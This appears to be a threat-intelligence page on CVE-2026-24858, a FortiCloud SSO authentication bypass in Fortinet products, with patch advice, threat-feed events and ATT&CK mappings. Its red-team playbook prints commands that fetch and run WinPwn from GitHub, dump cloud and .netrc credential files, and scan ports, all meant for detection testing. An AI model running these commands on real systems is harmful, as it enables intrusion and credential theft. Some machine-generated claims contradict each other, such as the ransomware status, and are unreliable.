CVE-2026-24858

CRITICAL CISA KEV POC TTE Zero-Day Pub 27/01 Upd 09/06

Overview

This vulnerability is an authentication bypass caused by improper validation of FortiCloud SSO authentication tokens. The flaw resides in Fortinet FortiOS and associated products, where the authentication mechanism fails to correctly verify user-device bindings. This allows an attacker with a valid FortiCloud account and a registered device to exploit alternate authentication paths, bypassing standard credential checks within the FortiCloud SSO integration component.

Vulnerability Description

An Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.5, FortiAnalyzer 7.4.0 through 7.4.9, FortiAnalyzer 7.2.0 through 7.2.11, FortiAnalyzer 7.0.0 through 7.0.15, FortiManager 7.6.0 through 7.6.5, FortiManager 7.4.0 through 7.4.9, FortiManager 7.2.0 through 7.2.11, FortiManager 7.0.0 through 7.0.15, FortiNAC-F 7.6.3 through 7.6.5, FortiOS 7.6.0 through 7.6.5, FortiOS 7.4.0 through 7.4.10, FortiOS 7.2.0 through 7.2.12, FortiOS 7.0.0 through 7.0.18, FortiProxy 7.6.0 through 7.6.4, FortiProxy 7.4.0 through 7.4.12, FortiProxy 7.2.0 through 7.2.15, FortiProxy 7.0.0 through 7.0.22, FortiWeb 8.0.0 through 8.0.3, FortiWeb 7.6.0 through 7.6.6, FortiWeb 7.4.0 through 7.4.11 may allow an attacker with a FortiCloud account and a registered device to log into other devices registered to other accounts, if FortiCloud SSO authentication is enabled on those devices.

Impact

An attacker with a valid FortiCloud account and a registered device can authenticate to devices registered to other users without possessing their credentials. This enables unauthorized access to administrative interfaces across multiple Fortinet products, potentially exposing sensitive configuration data and allowing lateral movement within networks. No additional user interaction or elevated privileges beyond a registered FortiCloud account are required, increasing the ease of exploitation and the risk of compromise for organizations using FortiCloud SSO authentication.

Solution

Fortinet has released security updates addressing this vulnerability in FortiOS versions 7.0.19, 7.2.13, 7.4.11, and 7.6.6, as well as corresponding patches for FortiAnalyzer, FortiManager, FortiProxy, and FortiWeb. Administrators should apply these vendor-supplied patches promptly. Detailed remediation instructions and advisory information are available at Fortinet’s official PSIRT page: https://fortiguard.fortinet.com/psirt/FG-IR-26-060.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Fortinet's products stems from an authentication bypass issue that allows an attacker with a FortiCloud account and a registered device to gain unauthorized access to other devices registered under different accounts. This flaw is particularly concerning because it exploits the Single Sign-On (SSO) feature enabled on FortiAnalyzer, FortiManager, FortiOS, FortiProxy, and FortiWeb systems. The underlying issue arises from improper validation of authentication tokens, which can be manipulated to bypass security controls. As a result, an attacker can potentially access sensitive data and administrative functionalities of devices they should not have access to, leading to significant security breaches.

Attack vectors for this vulnerability are varied and can be executed with relative ease by malicious actors. An attacker could leverage their own FortiCloud account to authenticate against any of the affected devices, provided that SSO authentication is enabled. This means that an attacker does not need to compromise the target device directly; instead, they can exploit the trust relationship established through the SSO mechanism. Scenarios could include accessing sensitive logs, altering configurations, or even deploying malicious updates, all of which could have devastating consequences for the integrity and confidentiality of the network infrastructure.

The real-world impact of this vulnerability is profound, particularly for organizations relying on Fortinet's products for network security and management. Given the critical nature of the affected systems, a successful exploitation could lead to unauthorized access to sensitive information, disruption of services, and potential data breaches. The business risks are substantial, including financial losses, reputational damage, and regulatory penalties, especially if sensitive customer data is compromised. Organizations may face increased scrutiny from stakeholders and regulatory bodies, potentially leading to long-term consequences that extend beyond immediate financial impacts.

To detect and mitigate this vulnerability, organizations should prioritize immediate updates to the latest versions of the affected Fortinet products, as these updates include patches designed to close the authentication bypass loophole. Additionally, implementing strict access controls and monitoring for unusual login attempts can help detect potential exploitation attempts. Regular audits of account permissions and SSO configurations are also advisable to ensure that only authorized devices and users have access to critical systems. Furthermore, organizations should consider employing multi-factor authentication (MFA) to add an additional layer of security, making it more difficult for attackers to gain unauthorized access, even if they possess valid credentials.

In conclusion, the authentication bypass vulnerability in Fortinet's products represents a significant threat to the security posture of organizations utilizing these systems. The ease of exploitation and the potential for severe consequences necessitate immediate attention from cybersecurity teams. By understanding the technical aspects of the vulnerability, recognizing the potential attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar threats in the future.




Recent telemetry from CSURFACE threat intelligence indicates a marked reduction in detection activity related to CVE-2026-24858, despite a significant increase in the Exploit Prediction Scoring System (EPSS) value, which more than doubled. This divergence suggests that while active exploitation attempts observed by our sensors have declined, the vulnerability remains highly attractive to adversaries, as evidenced by the rising EPSS and the continued availability of multiple proof-of-concept exploits in public repositories. The slight downward adjustment of the CVSS score from 9.8 to 9.4 reflects refined understanding of the vulnerability’s impact but does not diminish its critical severity. Importantly, ransomware groups previously associated with Fortinet product exploits have not demonstrated high-confidence use of this vulnerability, though the persistence of publicly accessible exploit code maintains a latent risk for opportunistic attackers. For defenders, this evolving landscape underscores the need for vigilant monitoring, as the gap between observed exploitation and exploitability may indicate emerging attack techniques or shifts in adversary focus. Consequently, the overall threat level remains critical, with potential for rapid escalation should exploitation activity intensify.



Update 2 — June 15, 2026

CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) for CVE-2026-24858, rising sharply to place this vulnerability in the 0.99th percentile of exploitability. This surge is accompanied by a marked decrease in detection activity across our sensors, suggesting adversaries may be refining their tactics or leveraging stealthier methods to exploit the authentication bypass flaw in Fortinet FortiOS and related products. Concurrently, new proof-of-concept exploits have emerged publicly, highlighting ongoing research and potential weaponization efforts targeting the FortiCloud Single Sign-On mechanism. Although ransomware groups previously linked to Fortinet exploits have not yet demonstrated high-confidence use of this vulnerability, the rapid increase in EPSS and the availability of exploit code elevate the latent risk of opportunistic attacks. This dynamic shift underscores a heightened threat environment where the gap between observed exploitation and exploitability metrics signals potential for imminent escalation. Consequently, the overall risk level for organizations using affected Fortinet products should be considered critically elevated, warranting intensified vigilance despite the current reduction in observable attack activity.

Affected Products (19)

Vendor Product Version CPE
fortinet Fortinet Fortianalyzer All cpe:2.3:a:fortinet:fortianalyzer:*:*:*:*:*:*:*:*
fortinet Fortinet Fortianalyzer All cpe:2.3:a:fortinet:fortianalyzer:*:*:*:*:*:*:*:*
fortinet Fortinet Fortianalyzer All cpe:2.3:a:fortinet:fortianalyzer:*:*:*:*:*:*:*:*
fortinet Fortinet Fortianalyzer All cpe:2.3:a:fortinet:fortianalyzer:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager All cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager All cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager All cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager All cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiweb All cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (5)

Repository Author Stars Forks Date Link
absholi7ly/CVE-2026-24858-FortiCloud-SSO-Authentication-Bypass
CVE-2026-24858 FortiCloud Single Sign On (SSO) a factory default enabled feature once you register any FortiGate/FortiM...
absholi7ly 6 3 2026-01-30 View
gagaltotal/cve-2026-24858
CVE-2026-24858 - Administrative FortiCloud SSO authentication bypass
gagaltotal 1 2 2026-02-10 View
SimoesCTT/SCTT-2026-33-0004-FortiCloud-SSO-Identity-Singularity
While Fortinet's January 27, 2026 mitigation for **CVE-2026-24858** focuses on blocking specific accounts like `cloud-no...
SimoesCTT 0 0 2026-01-31 View
m0d0ri205/CVE-2026-24858
아직 제로데이인거 같아, 공개되거나 천천히 분석할 예정....
m0d0ri205 0 0 2026-01-28 View
SimoesCTT/-CTT-NSP-Convergent-Time-Theory---Network-Stack-Projection-CVE-2026-24858-
A Proof-of-Concept demonstrating the application of 3D Navier-Stokes CTT formulations to packet flow optimization and d...
SimoesCTT 0 0 2026-01-30 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

11 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by Mora_001

Ransomware group known to exploit this vulnerability

2026-03-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-01-28
PoC Published (5 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-01-27
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-665 Exploitation of Thunderbolt Protection Flaws
40%
Low Very High
CAPEC-127 Directory Indexing
30%
High Medium

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-24858
fortiguard.fortinet.com
GitHub CVE
https://fortiguard.fortinet.com/psirt/FG-IR-26-060
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-24858
fortinet.com
NVD API Mitigation Vendor Advisory
https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios
cert-portal.siemens.com
NVD API Third Party Advisory
https://cert-portal.siemens.com/productcert/html/ssa-975644.html